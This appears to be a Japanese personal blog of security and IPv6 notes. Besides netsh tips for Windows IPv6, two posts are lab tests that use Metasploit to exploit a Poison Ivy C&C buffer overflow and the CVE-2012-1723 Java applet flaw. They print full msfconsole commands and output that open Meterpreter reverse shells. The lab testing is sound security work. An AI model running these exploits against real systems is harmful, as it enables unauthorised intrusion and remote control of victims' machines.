2012年7月26日木曜日

Windows の匿名アドレスを無効にする

Windows で IPv6 を使用するときに一時アドレスが割り振られる。
検証などのときはアクセスもとのアドレスを固定したいため、下記のようにして一時アドレスの使用を停止させる。

まずは一時アドレスの状態を確認
c:\>netsh interface ipv6 show privacy
アクティブ状態を照会しています...

一時アドレス パラメーター
---------------------------------------------
一時アドレスの使用                   : enabled
重複アドレスの検出の試み             : 5
有効期間の最大値                     : 7d
優先する有効期間の最大値             : 1d
再生成時間                           : 5s
ランダム時間の最大値                 : 10m
ランダム時間                         : 0s
一時アドレスを disable にする
 c:\>netsh interface ipv6 set privacy state=disable
OK
設定を確認
 c:\>netsh interface ipv6 show privacy
アクティブ状態を照会しています...

一時アドレス パラメーター
---------------------------------------------
一時アドレスの使用                   : disabled
重複アドレスの検出の試み             : 5
有効期間の最大値                     : 7d
優先する有効期間の最大値             : 1d
再生成時間                           : 5s
ランダム時間の最大値                 : 10m
ランダム時間                         : 0s
disable になった。
ただし、実際にはインターフェースを再起動させないと一時アドレスが開放されないため下記のコマンドなどで再起動させる。
  c:\>netsh interface set interface name="ローカル エリア接続" disable


c:\>netsh interface set interface name="ローカル エリア接続" enable

これで一時アドレスを使用しなくなる。

2012年7月15日日曜日

Windows での IPv6 アドレスの確認方法

Windows での IPv6 アドレスの確認には ipconfig コマンドと netsh コマンドが利用可能

ipconfig コマンドだと以下のように表示





C:\>ipconfig
Windows IP 構成
イーサネット アダプター ローカル エリア接続:

   接続固有の DNS サフィックス . . . :
   IPv6 アドレス . . . . . . . . . . . : fd00:b::ffff:ffff:ffff:ffff
   一時 IPv6 アドレス. . . . . . . . . : fd00:b::81e0:c305:2153:6081
   リンクローカル IPv6 アドレス. . . . : fe80::ffff:ffff:ffff:ffff%13
   デフォルト ゲートウェイ . . . . . : fe80::2%13



netsh だと以下のように表示





C:\>netsh interface ipv6 show addresses

インターフェイス 1: Loopback Pseudo-Interface 1

アドレス種類  DAD 状態    有効期間   優先有効期間 アドレス
------------  ----------- ---------- ------------ ---------------------
その他        設定            infinite   infinite ::1

インターフェイス 13: ローカル エリア接続

アドレス種類  DAD 状態    有効期間   優先有効期間 アドレス
------------  ----------- ---------- ------------ ---------------------
Temporary  設定         6d22h33m24s 6d22h33m24s fd00:b::b497:2db4:fc4b:1228
Public     設定         29d23h57m29s 6d23h57m29s fd00:b::ffff:ffff:ffff:ffff
その他        設定            infinite   infinite fe80::ffff:ffff:ffff:ffff%13

インターフェイス 16: Teredo Tunneling Pseudo-Interface

アドレス種類  DAD 状態    有効期間   優先有効期間 アドレス
------------  ----------- ---------- ------------ ---------------------
その他        使用されていません     infinite   infinite fe80::100:7f:fffe%16


Poison Ivy 2.3.2 C&C Server Buffer Overflow

Poison Ivy の脆弱性に対する Exploit が出ていたので試してみる。

詳細は以下のとおり。
DEP が有効になっている環境では失敗すると注釈にあるので、 Exploit Rank が Nomal となっていると思われる。
http://www.exploit-db.com/exploits/19613/
http://www.metasploit.com/modules/exploit/windows/misc/poisonivy_bof

Poison Ivy は RAT の一種で、EMC が攻撃されたときに使われたツールとして有名
http://www.poisonivy-rat.com/

今回はターゲットとなる Windows マシンに Poison Ivy をインストールし、Poison Ivy の待ち受けポートを 80 番に設定。
ターゲットマシンの 80 番に Exploit を投げ込むように Metasploit を設定する。
msf >
msf > use exploit/windows/misc/poisonivy_bof
msf  exploit(poisonivy_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(poisonivy_bof) > set LHOST 10.0.0.10
LHOST => 10.0.0.10
msf  exploit(poisonivy_bof) > set RHOST 10.0.0.11
RHOST => 10.0.0.11
msf  exploit(poisonivy_bof) > set RPORT 80
RPORT => 80
msf  exploit(poisonivy_bof) > exploit

[*] Started reverse handler on 10.0.0.10:4444
[*] Performing handshake...
[*] Sending exploit...
[*] Sending stage (752128 bytes) to 10.0.0.11
[*] Meterpreter session 1 opened (10.0.0.10:4444 -> 10.0.0.11:1036) at 2012-07-15 21:54:24 +0900

meterpreter >
 成功。
Poison Ivy については開発がとまっているようなので、パッチがあたることはない。

検証で使うにしても、インターネットにさらして使う場合は注意しよう。

2012年7月12日木曜日

CVE-2012-1723

CVE-2012-1723 で公開された Java Applet の脆弱性をつく exploit が公開されたので検証

脆弱性の詳細については下記参照
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1723
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-002752.html

Exploit の詳細については下記参照
http://www.exploit-db.com/exploits/19717/
http://www.metasploit.com/modules/exploit/multi/browser/java_verifier_field_access

Metasploit で実行
msf >
msf > use exploit/multi/browser/java_verifier_field_access
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set srvhost 1.0.0.80
srvhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set srvport 80
srvport => 80
msf  exploit(java_verifier_field_access) > set lhost 1.0.0.80
lhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set lport 8080
lport => 8080
msf  exploit(java_verifier_field_access) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 1.0.0.80:8080
[*] Using URL: http://1.0.0.80:80/IlDcdK6w4yfJ
[*] Server started.
msf  exploit(java_verifier_field_access) >
古いバージョンの Java を使用している Windows XP から
http://1.0.0.80:80/IlDcdK6w4yfJ
へアクセスしてみる
msf  exploit(java_verifier_field_access) >
[*] 192.168.0.100    java_verifier_field_access - Sending Java Applet Field Bytecode Verifier Cache Remote Code Execution
[*] 192.168.0.100    java_verifier_field_access - Generated jar to drop (5483 bytes).
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] Sending stage (30216 bytes) to 192.168.0.100
[*] Meterpreter session 1 opened (1.0.0.80:8080 -> 192.168.0.100:1039) at 2012-07-12 20:31:59 +0900

msf  exploit(java_verifier_field_access) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
成功

Metasploit のアップデート

Metasploit の初期状態では最新の exploit を利用できないのでアップデートを行う
失敗することもあるので、何度かチャレンジ




root@bt:~# /opt/framework/msf3/msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

A    scripts/resource/autoexploit.rc
U    scripts/meterpreter/hashdump.rb
U    scripts/meterpreter/getgui.rb
・・・以下略
 Updated to revision 15620.
root@bt:~# 

Metasploit の起動

BackTrack からは下記コマンドで起動
/opt/framework/msf3/msfconsole

Metasploit

「実践 Metaploit」を片手に使い方メモを残していきます。BT5 で msfconsole メインで使います。そのうち変わるかも。

wikipedia より
Metasploitは、オープンソースなコンピュータセキュリティに関するプロジェクトで、脆弱性、ペネトレーションテスト、侵入検知システム、シェルコードのアーカイブ、アンチフォレンジクス(コンピュータ・フォレンジクスによる解析への対抗技術)などを主な守備範囲としたプロジェクトの名称である。また、本プロジェクトのその成果ソフトウェアとしてよく知られるMetasploit Frameworkの省略名としてもしばしば用いられる 

2012年7月11日水曜日

netsh

Windows で IPv6 を操作するときにお世話になるコマンド
詳細はTechnetに記載されている





C:\>netsh interface ipv6 show ?

使用できるコマンドは次のとおりです:

このコンテキストのコマンド:
show addresses - 現在の IP アドレスを表示します。
show compartments - コンパートメント パラメーターを表示します。
show destinationcache - 宛先キャッシュ エントリを表示します。
show dnsservers - DNS サーバー アドレスを表示します。
show dynamicportrange - 動的ポート範囲の構成パラメーターを表示します。
show global    - グローバル構成パラメーターを表示します。
show interfaces - インターフェイス パラメーターを表示します。
show ipstats   - IP 統計情報を表示します。
show joins     - 参加したマルチキャスト グループを表示します。
show neighbors - 近隣キャッシュ エントリを表示します。
show offload   - offload 情報を表示します。
show potentialrouters - 利用可能なルーターを表示します。
show prefixpolicies - プレフィックス ポリシー エントリを表示します。
show privacy   - プライバシー構成パラメーターを表示します。
show route     - ルート テーブル エントリを表示します。
show siteprefixes - サイト プレフィックス テーブル エントリを表示します。
show subinterfaces - サブインターフェイス パラメーターを表示します。
show tcpstats  - TCP 統計情報を表示します。
show teredo    - Teredo 状態を表示します。
show udpstats  - UDP 統計情報を表示します。

はじめに

セキュリティや IPv6 のメモ書きです。